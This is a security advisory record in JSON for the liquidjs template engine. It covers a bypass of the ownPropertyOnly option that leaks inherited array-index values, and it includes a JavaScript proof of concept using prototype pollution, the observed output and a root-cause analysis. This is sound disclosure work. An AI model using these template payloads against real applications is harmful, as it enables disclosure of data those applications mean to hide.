{"id":"GHSA-fwxr-j5w2-587m","summary":"LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration","details":"## Summary\n\nLiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. \nWith `ownPropertyOnly: true`, direct access such as:\n\n```liquid\n{{ a[0] }}\n```\n\ncorrectly blocks an inherited array index. However, the same inherited value is still disclosed through:\n\n```text\n.first\n.last\nnegative indexing\nfor-loop iteration\nfirst\nlast\njoin\nreverse\nslice\ncompact\n```\n\n## Impact\n\nThis is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data.\n\nObject prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide.\n\n\n## Proof of concept\n\n```js\nconst { Liquid } = require(\"liquidjs\");\n\nconst engine = new Liquid({ ownPropertyOnly: true });\n\nArray.prototype[0] = \"ARRAY_PROTO_POLLUTED\";\nObject.prototype.secret = \"OBJECT_PROTO_POLLUTED\";\n\nconst a = [];\na.length = 1;\n\nconst o = {};\n\nfor (const [src, scope] of [\n  [\"{{ a[0] }}\", { a }],\n  [\"{{ a[-1] }}\", { a }],\n  [\"{{ o.secret }}\", { o }],\n  [\"{{ a.first }}\", { a }],\n  [\"{{ a.last }}\", { a }],\n  [\"{{ a | first }}\", { a }],\n  [\"{{ a | last }}\", { a }],\n  [\"{{ a | join: ',' }}\", { a }],\n  [\"{{ a | reverse | first }}\", { a }],\n  [\"{{ a | slice: 0, 1 | join: ',' }}\", { a }],\n  [\"{{ a | compact | join: ',' }}\", { a }],\n  [\"{% for x in a %}[{{ x }}]{% endfor %}\", { a }],\n]) {\n  console.log(src, \"=\u003e\", JSON.stringify(engine.parseAndRenderSync(src, scope)));\n}\n\ndelete Array.prototype[0];\ndelete Object.prototype.secret;\n```\n\n## Observed behavior\n\n```text\n{{ a[0] }}                                  =\u003e \"\"\n{{ a[-1] }}                                 =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ o.secret }}                              =\u003e \"\"\n{{ a.first }}                               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a.last }}                                =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | first }}                             =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | last }}                              =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | join: ',' }}                         =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | reverse | first }}                   =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | slice: 0, 1 | join: ',' }}           =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | compact | join: ',' }}               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{% for x in a %}[{{ x }}]{% endfor %}       =\u003e \"[ARRAY_PROTO_POLLUTED]\"\n```\n\n## Expected behavior\n\nWhen `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of:\n\n```liquid\n{{ a[0] }}\n{{ o.secret }}\n```\n\nInherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.\n\n## Root cause\n\n`ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead.\n\nExamples include:\n\n```text\nnegative indexing using obj[obj.length + key]\nreadFirst/readLast using obj[0] / obj[obj.length - 1]\nfilters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads\nfor-loop iteration materializing inherited array indices\n```\n\nBecause these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.","aliases":["CVE-2026-106120"],"modified":"2026-10-07T16:30:04.720886113Z","published":"2026-10-07T16:19:09Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-07T16:19:09Z","nvd_published_at":"2026-10-06T19:17:42Z","cwe_ids":["CWE-200"]},"references":[{"type":"WEB","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-fwxr-j5w2-587m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106120"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/pull/924"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/commit/552819a84b80c62306fe61072628a756272dc749"},{"type":"PACKAGE","url":"https://github.com/harttle/liquidjs"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/releases/tag/v10.27.2"}],"affected":[{"package":{"name":"liquidjs","ecosystem":"npm","purl":"pkg:npm/liquidjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.27.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 10.27.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fwxr-j5w2-587m/GHSA-fwxr-j5w2-587m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}